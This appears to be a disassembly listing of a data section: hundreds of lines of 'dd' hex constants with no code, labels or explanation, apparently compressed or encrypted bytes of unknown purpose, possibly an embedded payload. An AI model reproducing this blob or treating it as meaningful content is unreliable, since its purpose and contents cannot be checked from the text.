		dd 9D090AB0h, 7291917Ch, 46749F48h, 84E1001Bh, 1E77AA86h
		dd 89E3056Ch, 2229C19Dh, 0E827194Bh, 6710BACh, 5386AF4Fh
		dd 852462F0h, 5F81827Dh, 252D8D8Bh, 20104A46h, 0B60C2B71h
		dd 4780685Dh, 0DC46FB31h, 51033B2Bh, 1D2331D0h,	66B1089h
		dd 4A5A63B0h, 0B2BD9CC8h, 5B64E810h, 0F0FBF700h, 1A8D7A92h
		dd 25B2633h, 0D3B70379h, 27026859h, 85BD09C0h, 0B59EA21Ah
		dd 59CC98E5h, 20AAA413h, 604C1C0Dh, 8B610EC4h, 205D939Dh
		dd 0FFF883C4h, 0A0514D2h, 21B73881h, 2B53C241h,	18ED2044h
		dd 24C3725Bh, 70D45C89h, 0C3005343h, 933F8FF2h,	0CBCC130h
		dd 19DD9D31h, 8D2A0391h, 33A0B665h, 4BA10FC9h, 23C42BDh
		dd 84A93F61h, 59FC5179h, 243B20C0h, 0D0B5935Bh,	311106CBh
		dd 730214E9h, 395D2597h, 0F22A58C0h, 80F67700h,	0C58D8ABh
		dd 403E047Eh, 0C0D0FFB8h, 9C891D20h, 8E8A2262h,	6209071Eh
		dd 9DA00AF9h, 8B4BB5D0h, 8D2BC004h, 0ACC81CA1h,	751844A5h
		dd 45120962h, 1974201Ah, 38C45350h, 2293D8B8h, 115A2089h
		dd 0CE9D8D06h, 1566EBD7h, 22585BD3h, 20211788h,	30D4BDE2h
		dd 720DD8BAh, 7AF534ADh, 17A27F33h, 0E47DE530h,	416EC445h
		dd 0B509020Ch, 68ECA3BDh, 246B873Fh, 81400628h,	0A295B3E1h
		dd 2786D69h, 95D9C68h, 1F800EB7h, 5923E2E8h, 766D58C5h
		dd 885FA24h, 0B0A02EF1h, 0FB59C33Eh, 61ABE565h,	0E95F0D87h
		dd 291787F3h, 2F09D537h, 1252364Fh, 14234E3Bh, 92048613h
		dd 68023155h, 858C01FFh, 9412182h, 284E92Ah, 0E85F0A53h
		dd 91C4C522h, 9FBF4D11h, 673158D7h, 0B3631F69h,	59C55188h
		dd 4C898104h, 412EA9CEh, 0A72000BDh, 65871D82h,	0FDFD162Ch
		dd 7E4D853Bh, 58416061h, 0E2F3E87h, 0CB9C61h, 575E6B15h
		dd 5138C841h, 0BAB8100h, 0D45839Bh, 824D01FAh, 8A50613Bh
		dd 78C266E8h, 90B9D059h, 0ACD107CBh, 25B3319Bh,	81DC4D0Bh
		dd 29A60492h, 84C70F34h, 0BFCD2B4Dh, 0B5BDB200h, 20C09122h
		dd 73A8881Ch, 0A27D201h, 429D2A41h, 0F8BD234Bh,	39A22B98h
		dd 0C5E96317h, 50D963D2h, 0BE04F50Fh, 4ABA032Dh, 0F1016A16h
		dd 46254D95h, 8D0C0A76h, 951923BDh, 61336545h, 7A811E00h
		dd 3706E99Ah, 1881B4B8h, 0B25485Fh, 19798D16h, 1823B77Ah
		dd 0CCA58439h, 582946Eh, 0DF27200Fh, 0DC4879FDh, 896A0049h
		dd 0AC3E32A9h, 0F8CC12EAh, 47E3561h, 8BFB80F5h,	2D2272h
		dd 3A37B960h, 0B52318F8h, 0E99F559h, 2E78161h, 4C1A06B6h
		dd 0BEF54A85h, 0F879F040h, 7597E0B5h, 0E9591908h, 26FC1B0Ch
		dd 0DBB9008Eh, 5078660Ah, 0A94793B2h, 181AD19Ch, 92CE40Dh
		dd 7369D3AEh, 0C88B6730h, 292C5E93h, 0FB1D910Ah, 71478252h
		dd 17D69B35h, 21800F19h, 19D38BADh, 0CA94C8Ah, 0A4052F0h
		dd 0F183221Dh, 8DFFF6DCh, 49DEBF06h, 2BB62042h,	0C666807Eh
		dd 6631853Ch, 0C10AC01h, 7B08E830h, 0F75BA6h, 57FC4A36h
		dd 8195035Fh, 0AB201141h, 801CE685h, 557CEA80h,	48163F4Dh
		dd 5AC805BDh, 89C6B58Dh, 0D1379976h, 132F1818h,	4E3B23E4h
		dd 0D0D231ADh, 0EBD19D2Dh, 5E185689h, 8925C372h, 0E29674h
		dd 6DC35646h, 0E73E0FA2h, 627F690Bh, 22E60B51h,	4665BDFFh
		dd 138D25C5h, 2ED99CA2h, 3F38B00h, 1CA929BDh, 67974948h
		dd 0A0801D11h, 85B7BF75h, 50C4D203h, 0C966F2A7h, 9B702A2Ch
		dd 931F674Dh, 3D0D46D0h, 0DD6DA300h, 4C964442h,	899706E7h
		dd 86C8CA3Ch, 80CB7E95h, 81207C2h, 6AAC59E9h, 0C0897D76h
		dd 9A5F1CBh, 0D9B26276h, 0BCD9903Fh, 0BF5B057h,	8A0F5FFEh
		dd 0F0F12F98h, 6708B316h, 0F4BA0A30h, 7E440DEAh, 20A8DA26h
		dd 0E40D1B3h, 8FB0A050h, 18D8FAFFh, 7253CB8Ah, 88A82D59h
		dd 0FCE58903h, 0B0EB5043h, 2B4F2006h, 5B4A86ECh, 1C239A2Fh
		dd 2061220Eh, 12D040E6h, 333C0C2Bh, 9FD71BDh, 5499853Ah
		dd 0DD258DD3h, 9D50980Bh, 0B5B29C1Bh, 23853B93h, 3C1C0017h
		dd 35B902EFh, 459FDC14h, 31BA1E8Dh, 0C4606A49h,	0DE2B0054h
		dd 1F3710A5h, 0F068A907h
		dd 0F40987Eh, 0C550CFBFh, 422F959Eh, 2159BD57h,	0B32ADE08h
		dd 8EEEBF3Bh, 0B6863C3h, 0E5CE1118h, 258D2910h,	5309F7B2h
		dd 0C439BD0Bh, 1FE12721h, 2A0D66A2h, 1390C82h, 1CC78100h
		dd 79D926A8h, 88E8C57Dh, 2E078161h, 0F10A859Fh,	3CF64B60h
		dd 61290209h, 8F0FE49Eh, 5F936D71h, 13269767h, 0F128001Dh
		dd 9B408D7h, 0EB02FDB1h, 0CA30B62Ch, 0AE97464h,	0C793C984h
		dd 0BB8E8081h, 0B6035841h, 18408BC2h, 0DFC1060h, 8D53440Eh
		dd 90490A00h, 85B5179Ah, 363ECA8h, 69BEF85Ch, 4584860Fh
		dd 8BC3615Fh, 8E648C25h, 0C11B88BBh, 0F0EB35DFh, 0C02C7615h
		dd 6459DE12h, 8010E811h, 7FEE3B0Bh, 1D11511h, 7671FB26h
		dd 0D4306304h, 0E0B8341Dh, 5F800FF4h, 398C6F3Dh, 0D54B8325h
		dd 23613ACFh, 0B4020116h, 29950B9Bh, 2550728Ah,	68B18D2Fh
		dd 0A5065612h, 0B0851C81h, 0DEF002D7h, 983D1594h, 590348A4h
		dd 0FA356D30h, 76D4472Ch, 26C6D026h, 0F9B25CFh,	280687E9h
		dd 9AB18949h, 954148DCh, 0B1194D3Dh, 0B47C6ACh,	0B0BC6E1h
		dd 0A6D68B86h, 0C29C52Ch, 0A9470349h, 4CB74E0Dh, 80E92026h
		dd 3FEDE224h, 0C702C108h, 0A40E74F5h, 0D20BDBDh, 0A447F61Dh
		dd 52C86492h, 193C0901h, 5818505Bh, 8923C372h, 191144h
		dd 0A4C35040h, 135DC7F6h, 20E81813h, 927A495Bh,	5380C00h
		dd 0B23FCECCh, 0E95F1865h, 805223E8h, 14C5ABF8h, 9CC4F240h
		dd 4871FD0Bh, 9653C07Ch, 0C6EF4084h, 0AD291B3Bh, 0DDF9E259h
		dd 0DD1E3FEAh, 8C417221h, 73B621EDh, 3016A26Eh,	8D604503h
		dd 6D9D29B6h, 4DCA805h,	0DA39E102h, 4C0206BCh, 133A71F7h
		dd 0D3A3400Fh, 0A17C48B2h, 81295312h, 1708837Eh, 9B82E9AEh
		dd 4BF81272h, 0F599D42Bh, 0AEC4CA8Dh, 183EB231h, 0D364275Bh
		dd 816602D7h, 406051D9h, 619D2198h, 346A01EDh, 9BF13895h
		dd 161C502Ch, 0C2AD344Bh, 0F5AAC501h, 84AA3059h, 66800168h
		dd 0F6DB0B8Ch, 8C6304C3h, 0FEC61926h, 56012610h, 0A8B85268h
		dd 695E9B9Ch, 0BC781319h, 6A14213Ah, 108B6004h,	7D64BB83h
		dd 0BEBEC881h, 47012DA1h, 18AC9B68h, 43923CF6h,	0E1EF052h
		dd 0CF61684Fh, 7D10702Fh, 340CE534h, 18537DBAh,	1856286Ah
		dd 7553C085h, 68410175h, 0DB876498h, 0D0642A5Ah, 1C4C2CD7h
		dd 95E7A468h, 8BA02080h, 0F18BBE9Dh, 0E274045Bh, 8554ABC3h
		dd 64C71562h, 43D8E1F0h, 41B6960Ch, 3D21099Dh, 12C11132h
		dd 0B4026A8Ah, 0B5343253h, 17889192h, 6845506Dh, 0A5F79708h
		dd 16A13892h, 0D50267CCh, 75852E0Ch, 0C0663632h, 0A94EA1D1h
		dd 0A1620C19h, 154C3469h, 5A97BD4Ah, 1991656Fh,	5E235C04h
		dd 400DC988h, 0F80A5030h, 4E35FF64h, 79B50905h,	89F59CB1h
		dd 0FB33D165h, 0B93018E2h, 0C9CB0043h, 0FAB70FC0h, 0CE4C8B66h
		dd 2EB5179Dh, 84565533h, 0B3C059DEh, 49AFF823h,	5EDB4331h
		dd 0D2041B69h, 7292759h, 0E8BB35B9h, 81258D94h,	2FD7D880h
		dd 7DA545B4h, 94B9F5A0h, 3898F6CDh, 8023994Ch, 33DE60BAh
		dd 8D8B3EDBh, 0C00947EFh, 1C11E49Dh, 0E802D680h, 73095EEFh
		dd 51824AB4h, 68C000A3h, 3AF970EAh, 0B3A6CB03h,	0C07D91F5h
		dd 0E47E178Dh, 3F0F0240h, 8F640B07h, 7E9F80C4h,	714921C5h
		dd 50C1819h, 0C437CF6Bh, 0D934C127h, 0FB830115h, 44842C70h
		dd 0CA008117h, 39022C6Ch, 0AB29BD2Bh, 0E6F792B0h, 0DF134B1h
		dd 6D15C917h, 0C02B86Ch, 8B65A709h, 0C7190CBEh,	0FF23A481h
		dd 9983039Eh, 400415B8h, 5C8BC3CBh, 702E30D4h, 24815D88h
		dd 8A8C45EDh, 281B838Bh, 44FA4298h, 4FD05D0Ch, 2F511089h
		dd 888F0F13h, 0BB0ED771h, 0C067B3F3h, 0C5970BE1h, 8D0F2871h
		dd 0E18CEC12h, 2A3B3452h, 1C46747Dh, 0B6B44F00h, 0DA5B6BA8h
		dd 50E88702h, 4EA2D280h, 0D154A0ECh, 63EC9123h,	0B000AB9h
		dd 55D704B8h, 640548h, 0BB0DF781h, 8685D465h, 0B640BA0Ch
		dd 33EAE634h, 0ED0C5FE8h, 5868FBB8h, 75564D09h,	15C9820Ah
		dd 54010416h, 0F78AE14Ch, 0FC785D71h, 54276980h, 3D00F443h
		dd 8CC93F05h, 1EAD262Bh, 5ABEF1Bh, 0CF768860h, 43DC4E7h
		dd 820F521h, 0E4D84235h, 46D62038h, 756D48D4h, 0A12595E4h
		dd 8A492E19h, 47B78347h, 392E3101h, 0B7C230CDh,	78450001h
		dd 74706563h, 6E6F6907h, 66374920h, 616D7261h, 50010C47h
		dd 73E5656Ch, 40202CCCh, 0D7F37463h, 68AF8E9Fh,	1F731FBFh
		dd 59771F66h, 0F1641272h, 0F56CF976h, 73DBE770h, 0A26977D9h
		dd 76CD1D34h, 1C8D266Ch, 8E67676Eh, 0EB2E7340h,	0AF5F8F54h
		dd 0AF79AF6Bh, 0D0A6675h, 14CFF04h, 80706628h, 43076E73h
		dd 2B4C5254h, 28EBFB5Fh, 0F2466978h, 187ADB64h,	702A7BA6h
		dd 6C3C0879h, 0E262BF69h, 882964DAh, 561A4236h,	0FBA613DFh
		dd 0CE25FB3Dh, 0E843601Eh, 4E496B63h, 1C640FA9h, 5455234Fh
		dd 6F725087h, 0F211DFAh, 0F193B6Dh, 0B61AF304h,	850F1C3Dh
		dd 50A8BC1Eh, 1E18D18Eh, 0BD0BC2D4h, 0F4C6077Dh, 4A200141h
		dd 6ED248EDh, 570E5032h, 0C0A4EA12h, 0F9FD95F8h, 5F7C21F2h
		dd 861942ECh, 7613078Bh, 246B1628h, 65D668B0h, 1DCA685Fh
		dd 8A5125E9h, 597D230Eh, 0CA230E96h, 230E9E59h,	0E9A59E8h
		dd 8E59D123h, 59D9230Eh, 0E0210E92h, 0BD0C3052h, 0A2F2832Ch
		dd 6DF4FC64h, 0CA3A1148h, 69880D95h, 1185421Bh,	5A80229h
		dd 0C2810109h, 7C8065F8h, 958D8573h, 521807E2h,	0C3402834h
		dd 0D53BD42Ch, 0EB1A7509h, 400C44E5h, 9D8B8855h, 4CC313A8h
		dd 65291CBCh, 501011A3h, 54798A88h, 90879608h, 799A8858h
		dd 8A8E085Ch, 0DFADC94h, 6811AFADh, 5A49CD41h, 0C8920C90h
		dd 329A648Eh, 0C8A1996h, 0A848A86h, 0B81C9880h,	491007A4h
		dd 650E903h, 0D50A60D5h, 406A24C4h, 19A224CAh, 0BCE45B5Ah
		dd 73980125h, 603AC18Bh, 17C02FFCh, 811B91EBh, 0B03349BFh
		dd 12D0D860h, 0E2810FB7h, 20B90B04h, 90339F45h,	1ADAD30Eh
		dd 2E040EC4h, 8740BA4Bh, 431125E3h, 9D884A23h, 6F1C3E31h
		dd 6B1A8822h, 49100EAh,	47CFFB84h, 190395FEh, 592DEC9Eh
		dd 0A83A9561h, 0E6001923h, 6ABF6A0h, 6088A111h,	406C54C6h
		dd 994A9509h, 0E381574Fh, 0CF7861F8h, 0E6FAF80h, 1C1D9152h
		dd 0E88025BEh, 0C4977CCBh, 61F40E07h, 8A734B83h, 0F22D221Ah
		dd 0A826A006h, 7DA70FAh, 99C1815Ch, 0E9224082h,	7C97020Dh
		dd 79486039h, 7D00E471h, 0ACEA812Eh, 4F537E6Fh,	34BC05Eh
		dd 0DF028C07h, 0FC28B60h, 4017D482h, 66616BD2h,	4C7F712h
		dd 1DCC444h, 0DE815600h, 0A217F418h, 0CB9C5E0Ch, 80384485h
		dd 6455D525h, 9ABB0014h, 1850440h, 4E01D345h, 0EAF50205h
		dd 59EAADE9h, 1814D99Bh, 0F9F80B74h, 9064FF2Bh,	0D4A7C20Fh
		dd 3404921Dh, 0C68665C7h, 9548805Ch, 96091C53h,	371AC07Fh
		dd 7ED77729h, 1260E8E4h, 752B1125h, 0B7EC00C8h,	0C429D2A8h
		dd 4C0094A1h, 3214E11Dh, 0E25A59FBh, 0CB8B1C93h, 0BE767C50h
		dd 26994049h, 0C03E75B3h, 0F78D805Bh, 0A71312A8h, 0E5B7001Fh
		dd 0D0063FB9h, 0B1255E7Ah, 0CA6CB31Ch, 1685BC6h, 0B34EBE66h
		dd 506DE9h, 9B8ACE71h, 18696A60h, 26C48B64h, 0CD1C9AB7h
		dd 0F801EB01h, 5ACC8A57h, 0B693562Dh, 80F4E069h, 8A0F2539h
		dd 81027AB2h, 5F43C00Bh, 0FBBA40C4h, 48477E07h,	6EC06561h
		dd 0FC3159E7h, 0E5806401h, 15BD8DDBh, 85D154F2h, 0AC01B8CEh
		dd 0FFFA8260h, 0AC46E7h
		dd 6F55F49Bh, 53575014h, 0AB007379h, 0D7A5EF35h, 7DB8441Ch
		dd 138D9C7Fh, 0F808C10h, 140B604h, 0B008C8FEh, 212D4BAh
		dd 87135F4Eh, 15C8318Bh, 0C362CACFh, 8265C209h,	7B86DDBAh
		dd 0A856720Ah, 0D5835DA9h, 0D8863ECCh, 92915B9h, 0DA2A9865h
		dd 644F9D0h, 3CF20181h,	5A7D3283h, 88644B61h, 0C046C414h
		dd 39FCB979h, 1CB3A87Ah, 594F5BDAh, 0F6D20B0Eh,	17CB3C56h
		dd 0E1CBF3B7h, 96C016C8h, 9956339Eh, 17458003h,	9B2993C6h
		dd 8BBFD900h, 2831ED8Ch, 743E134Ah, 90DC133Fh, 562FB634h
		dd 30016E7Dh, 31FDE7C2h, 89445A5Eh, 0EBF0A3B5h,	7E8C9C18h
		dd 0E70BE932h, 8C6C4B60h, 3D10F8F7h, 0C2611467h, 0E6E9169Eh
		dd 20601C83h, 0F6420814h, 864F19ADh, 0F8E9C324h, 0B58B1821h
		dd 0E6818F75h, 18D6F0E0h, 0E82C9BE2h, 0C68142B4h, 3B1836FAh
		dd 0F3979B5h, 51E96E86h, 97D820C7h, 6FCF3622h, 8C665001h
		dd 0A0324C8h, 2A073D35h, 2F6457EBh, 20858B25h, 0A18863Eh
		dd 8257B0DBh, 3D238E67h, 0C624048Ch, 70D78ACFh,	0D2085C2Ch
		dd 50237D10h, 9C9001B5h, 0B5FFE48h, 48531CC0h, 0F68966C3h
		dd 209C5FCh, 953725Bh, 820E4CBAh, 0E0424314h, 5360BB22h
		dd 0E380CBEFh, 84C3CB03h, 7617B812h, 8189C79Dh,	1B5DFB0Ch
		dd 98A2E644h, 5789C591h, 8E18C706h, 33743452h, 0BD290123h
		dd 0A391A25Bh, 3E80600Bh, 40316BA4h, 3AB7A1BBh,	1B01C76h
		dd 60EEA6B1h, 2C88AACh,	332C339h, 0BAACBD1h, 14022D2h
		dd 0C90A4A19h, 2316E5D6h, 11D4DDF0h, 8B520B10h,	7A0302D4h
		dd 0E9E86108h, 80AA2140h, 8D58E13Fh, 0BC5A545Fh, 56513753h
		dd 0E9DB2132h, 0A04E4710h, 81D3D1D8h, 5ABCC306h, 0F3B03746h
		dd 0C80B49E8h, 8B81E897h, 5B595EC3h, 7B4D60D1h,	0AC8C836Ch
		dd 77AD2AEAh, 0E723C010h, 0FD4DF90h, 4A8D80Ch, 0D4A6293Ch
		dd 5AA81A48h, 60605925h, 0CE1E858Fh, 16CA8D21h,	22BD1F06h
		dd 0E938890Dh, 312F3F23h, 0F8408B26h, 0F30A1705h, 21899B46h
		dd 3C671448h, 1EB246FAh, 92308F33h, 8726AE27h, 41DF8A69h
		dd 4D207276h, 0B80C027Ah, 0A945CAB2h, 6395F4Ch,	0C8D10030h
		dd 0FF73B46h, 8DF15282h, 0A508EA40h, 284CEC28h,	56C128A5h
		dd 13215351h, 0C4A2C01h, 3C146726h, 0A22C92Dh, 34980400h
		dd 0C1D83213h, 1C0848C3h, 1C506757h, 5E59285Bh,	0A6988037h
		dd 0E1278469h, 0CE72A517h, 50FD0C4Fh, 0A86FF688h, 44E8142Ch
		dd 0FFBF6D0Fh, 618FD4C0h, 644C0684h, 2E9DCFCFh,	8DE0E032h
		dd 0FC339018h, 60592CADh, 0CB1763h, 61A6B36Fh, 0EEE9C181h
		dd 0F8E6E569h, 342922CCh, 0F05D0BFh, 61F038Ah, 1C8BF702h
		dd 10DCC139h, 5E3D4014h, 6A35DCC4h, 0F859EC02h,	4012B395h
		dd 0F63C90B8h, 0AFA60Dh, 0D8C9D30Eh, 0ADA8F896h, 0B8315D00h
		dd 8D51ECA2h, 0BFA6007Fh, 92F381BEh, 757FE97Bh,	0E333C678h
		dd 0C8DA5260h, 0CC8961DDh, 0D1DCF890h, 2EF8318h, 71A354E2h
		dd 0B10F7C4Fh, 0E252162Dh, 15C4003Eh, 58C2F396h, 46F407B6h
		dd 37C7BC73h, 0BD45B0EFh, 810B5EBEh, 259A58FFh,	1F1F8564h
		dd 0AEE6C200h, 61E96F8Eh, 0D5951736h, 0E393C0F7h, 810FE70Eh
		dd 0C981614h, 0E8110008h, 693B5CD4h, 0AE009E4Bh, 8E6A9FCDh
		dd 924CE915h, 1FA17124h, 405E748Fh, 8169C1C7h, 0CB009293h
		dd 0F3DD5ABEh, 28DE61ABh, 3004B524h, 7E116278h,	6000A65Ah
		dd 2AB74892h, 7798EA47h, 0A18D00DAh, 3791C678h,	0F03E154Ah
		dd 93C503ACh, 78CE602Ch, 8ECF0040h, 0ADE21A31h,	6E6EFE2Fh
		dd 0D120E328h, 24400593h, 0CAE5A6h, 5EB47238h, 0B1603534h
		dd 0A3CB8520h, 0B52703DAh, 0C07A44F6h, 4F140BC0h, 2A57D800h
		dd 82C99C6Bh, 7FD7072Bh, 0E058D073h, 0F1FA56B9h, 0ADF42F00h
		dd 122B8ECDh, 79328C8h,	51F76044h, 62A94F03h, 0EEC331DCh
		dd 3B77938h, 727AD80h, 0D8AB0DC0h, 0F6AC1820h, 0D2F92Fh
		dd 8F5D4897h, 4D5B80h, 0C0B585A9h, 8E8D1461h, 0CC3394A4h
		dd 785E309Fh, 0D2533006h, 5148DC0Ah, 707D4E37h,	3A1967C6h
		dd 0AE14DD7Ah, 0CC08CC57h, 0F906C489h, 7E870EBh, 8CA5ACE5h
		dd 0F8820DEh, 0CC002FF2h, 0B521CADDh, 0C876E4F8h, 0F6427829h
		dd 27F92410h, 84487494h, 12B03680h, 1FB5E08h, 47C398C7h
		dd 0F8D6705Ah, 0A70EF533h, 40B6C1E2h, 8BB54C20h, 3FAAF6EAh
		dd 4680B4B1h, 97A947FDh, 98001064h, 27D9CBFBh, 904C6Eh
		dd 79C7253Eh, 0C53481A4h, 8009CF00h, 0E9A20C84h, 0B2510060h
		dd 0D8B99495h, 1A06CBA3h, 0F4F804FDh, 27441030h, 0E8A0003Ah
		dd 5BD1609Bh, 0B35700FBh, 0C73598FAh, 1F002A12h, 0E373D4E5h
		dd 9DE706h, 8C4B2663h, 4096ECA4h, 10E16100h, 6C45084Ah
		dd 9D59004Fh, 4BFEF72Ah, 7E02C2E6h, 6D7CD9CDh, 0C550480Dh
		dd 6C090732h, 103A857Dh, 0C4A1DB73h, 0D6922307h, 18D0948Dh
		dd 0A4651Ch, 75A70E52h,	4C390F20h, 0A84A52h, 5A9EC9F9h
		dd 75286Dh, 1F39455Dh, 3E1B99A5h, 0E6A6DE0Ah, 0C48084A1h
		dd 0EF25A12h, 0E4630003h, 72E3BDAh, 0C0C01CA1h,	28F370C7h
		dd 0C4E00009h, 0FF468F7h, 3400D1C2h, 3CCA0639h,	0C70B21h
		dd 0DFE21E4Bh, 1A273632h, 69006E7Dh, 781CBA54h,	287A6615h
		dd 7AC7322h, 0C065F29Ch, 48B88079h, 0E6003BA0h,	276B5628h
		dd 0EC723D4Fh, 2A510061h, 0AAF08A26h, 0E576845Fh, 24B9E326h
		dd 0C1734300h, 541E16F3h, 53F04Ch, 9A2E86B6h, 0F43183A8h
		dd 8FED6D0Fh, 2F13815h,	8470EEh, 0D16296ABh, 0D70D3803h
		dd 0EA8ED20Fh, 884A002Eh, 1FD0A3Dh, 1F335A27h, 0E0AE2D9Fh
		dd 0C200D716h, 0CC430F75h, 96FE5Ch, 89AAE692h, 0DC9CCE5Bh
		dd 0DD9D0700h, 0B9F63A43h, 84050E0Eh, 9020BBE6h, 8924DF4h
		dd 409EA300h, 7A35670Fh, 2298C087h, 7B95090Eh, 60B4C8CFh
		dd 19A7D362h, 0AF5B00F6h, 0CA31F8C3h, 2C00B0A5h, 5C94B792h
		dd 65D8665h, 97AF29E2h,	8300A855h, 1B3B3DFAh, 3863A009h
		dd 54808692h, 0C2AE8CDh, 0CF007860h, 657DB8D3h,	0E21B3Ch
		dd 0C238D153h, 0BA3E59FDh, 0DFA6B0A0h, 0CEB7C400h, 0F384782Ah
		dd 204A006Eh, 0E4E5AF46h, 0B2071357h, 5D50D1A6h, 0CFC09B94h
		dd 7464017Ah, 394D0085h, 0BF74C838h, 9B12CBE8h,	0D00026A9h
		dd 5234B1C0h, 0B0A67C15h, 768802B7h, 7038184Ah,	0FEFBB0C0h
		dd 91BC6900h, 4F0BDB66h, 0F24FAC6h, 18FAA472h, 0D27CDEC0h
		dd 400A21Ch, 32AE2C3Dh,	0AD7DC1Bh, 62FA6E2Eh, 291E01A4h
		dd 20F60FF0h, 1F0059ECh, 0CE5EED8h, 0F56CEF4h, 0FD481425h
		dd 331CE923h, 7D9B57D0h, 4EED31C0h, 731F4420h, 0A029778Ch
		dd 182817B0h, 11164C65h, 3401212Eh, 0D4714219h,	0B0D40A92h
		dd 0BCA2004Dh, 8A51E7FAh, 0AD7FBE96h, 1147AF00h, 0A78D7D89h
		dd 0BC624C33h, 0E5D81A00h, 9918D269h, 8BA0BC00h, 3278F15Dh
		dd 0C4800B0Dh, 0C000BAFEh, 0DCC02D40h, 0B2DF2600h, 2EA4DA92h
		dd 7C61003Fh, 8B4FFFE7h, 72EA575Bh, 0C78C7400h,	8F3D4E49h
		dd 136800EEh, 50E839DEh, 0D4002819h, 2E55BF6Eh,	0BDC577h
		dd 0CBF54D12h, 0A5A2274Ah, 3700567Fh, 39F93AFFh, 0C15E3F53h
		dd 0B1E5DDF0h, 0D040DEF7h, 0CC988488h, 0D69C1700h, 671AD828h
		dd 704A1850h, 83FE1CEh,	3E630200h, 7C534277h, 17A600BAh
		dd 4FB6F050h, 850DB8Fh,	113F03D8h, 5CE780BBh, 99338DEDh
		dd 67E201B3h, 0B9491223h, 815AFCBFh, 0C7FA7700h, 51E394F7h
		dd 4D7F28h, 0E53FFBABh
		dd 69F03DF5h, 0A8C08201h, 0DDDC581Fh, 0ADC173FDh, 0BA17FFE4h
		dd 39647544h, 0F1017DC4h, 92C71A35h, 1266D025h,	55A7021Dh
		dd 0BDCC741Ch, 0FA9530DCh, 4C1D0119h, 2E98AB6h,	6148640Bh
		dd 973D2600h, 550C68ADh, 1C278D4h, 0E7D06657h, 227AFC28h
		dd 92EC77A8h, 5B3D4A04h, 0D0C05E45h, 0A9754Fh, 4BBDA8E0h
		dd 0EFADC27Ah, 918D3C1Eh, 0F8314D41h, 6422A40Fh, 20F2E412h
		dd 27E2C1C8h, 0A772F700h, 4362217Ah, 0B2450037h, 0CD3D38F8h
		dd 0C8040503h, 0E61632C2h, 1A3A5C81h, 9C3441D9h, 7B440790h
		dd 0AF2F0AABh, 5FD312D2h, 40401D98h, 34308B7Fh,	0D98848Eh
		dd 0DA322303h, 6464599h, 0EBBC7829h, 0D313519Ah, 1D004957h
		dd 0F88183BDh, 7AF0005Ch, 9AB289A7h, 0E006D93h,	83107D11h
		dd 95B4484h, 3B50EABBh,	0CEF64C80h, 0FEF02808h,	4900FF98h
		dd 13C0A638h, 4F78DD9h,	0C4596AC8h, 0A053C7C2h,	0D7D5B130h
		dd 2B03100h, 4A8B52F0h,	0F6FEF8FBh, 0CFFEEAh, 7E238C7Ah
		dd 66D34EDAh, 4974DF1Fh, 956C0680h, 7A3EF5h, 0A52F8D07h
		dd 490A79Ah, 9575F00h, 7736FF69h, 0C75000F1h, 3255ACC5h
		dd 0A904813Fh, 60205BC9h, 142E2880h, 0E58D28CAh, 1844E0DCh
		dd 0EA15417Fh, 0E90764F1h, 9AE29F22h, 0C8A43960h, 0EEFB000Ah
		dd 0F2D0CE6Eh, 18008529h, 9733DBC3h, 480B827Fh,	0EB0BE479h
		dd 78002A7Dh, 0E889B5FDh, 0F8CCE507h, 82F0AE2Bh, 15675C5h
		dd 38C6122Fh, 0C0D14107h, 933CF4A4h, 0EF630FA1h, 3B7680ADh
		dd 5367F27h, 0E851DC79h, 0A7E481ECh, 99028CDh, 2078C7F1h
		dd 64718334h, 6B3E24D7h, 3AD98E98h, 9E4979D8h, 0CAF70428h
		dd 0D3FBF400h, 14DC6F75h, 0BDC21F3Bh, 77DE81ECh, 815BCF23h
		dd 0DD575441h, 1424780Ch, 0E6600039h, 0DF3D1BB0h, 253B22A5h
		dd 1A2D00D7h, 892C3CE8h, 483571EFh, 0FB005C1Ch,	0FC4BB902h
		dd 4577BF98h, 69381898h, 67CD84F6h, 0B4C28DFFh,	3F85256h
		dd 0D6B80C47h, 0D8B948C9h, 0D14DD199h, 3E20BCA7h, 65F3ED1h
		dd 63EEA5E3h, 0EBE01BA9h, 0AFC04028h, 821D4588h, 8E00A0ADh
		dd 7A1D29BCh, 928F6EA6h, 5D303E63h, 92BD9990h, 28932A16h
		dd 49108901h, 35F832C8h, 99400A4Fh, 62C09E0h, 7074478Ch
		dd 0AA5C2C03h, 7597997h, 9453429h, 0C9C9A63Bh, 0B8E95D1Ah
		dd 3C348038h, 0C53180AAh, 842C5438h, 292C0512h,	641408B9h
		dd 0C44ECB1Fh, 0B1C56321h, 6EC0E816h, 0B879E09Bh, 487997h
		dd 1325BCCBh, 0A4BA2FF2h, 2AD54E3Dh, 1008832h, 4598784Fh
		dd 0E807EC7h, 8D4861DAh, 0FAA5F380h, 28C0DD87h,	0AF564EF7h
		dd 0ED130F6Eh, 178E8B39h, 4A49668Ch, 0A6106005h, 0D020B8EEh
		dd 7CDA8BF2h, 1A320087h, 3CF433BAh, 4000ADD6h, 0FA85C244h
		dd 0E8ABDE57h, 2517EE37h, 0D883B138h, 804F07Bh,	0C0661F61h
		dd 93F33481h, 4D03839h,	543078F8h, 8DE51029h, 74D8A8B7h
		dd 86C9615h, 22BFC55Dh,	83ABEC79h, 0BF05FF91h, 0B1114229h
		dd 0AC04107Fh, 952FB607h, 497A5087h, 0C8004319h, 5F56EFDCh
		dd 9A2774B5h, 0A14100E4h, 6A0B34CDh, 313F2E77h,	7DC78035h
		dd 0E41827C8h, 7C19048Fh, 0C0325A4Bh, 0A4C110DDh, 0FA00CFF2h
		dd 0BEA930EAh, 1FC6D2A3h, 7DF69417h, 4805980h, 0B6402123h
		dd 35BA570Eh, 84970AB9h, 12FD6981h, 8987FF3Dh, 0F48AE408h
		dd 0FA10CC09h, 39032F01h, 80C25522h, 1B6662E4h,	20973C3Dh
		dd 44BD5BE0h, 2D338B03h, 8925573Fh, 0B4528818h,	0E80CE007h
		dd 0E95F046Eh, 0D0034010h, 456830Ch, 0A7CD5E06h, 74718577h
		dd 9E520CD4h, 195032CCh, 0DA715E02h, 607880D5h,	0F85A5094h
		dd 895F00C5h, 569E6F9Ah, 1902E876h, 0EAB2022Ah,	0D158C09Bh
		dd 0B9C10CE4h, 0C311CBEFh, 3968C007h, 80AB795Dh, 48E321C4h
		dd 76CC0089h, 97FC47E7h, 0C71677BFh, 0ED0E5722h, 0B481C01Bh
		dd 0C012702Ah, 61DD6E9Ch, 400013A9h, 0B218C6A0h, 75641F25h
		dd 0D47C0051h, 22768C12h, 4A076287h, 2D10C8B9h,	808EABC0h
		dd 0B77300CFh, 0CC574BA9h, 9A039EE7h, 11BEE20Fh, 0EF86C8AAh
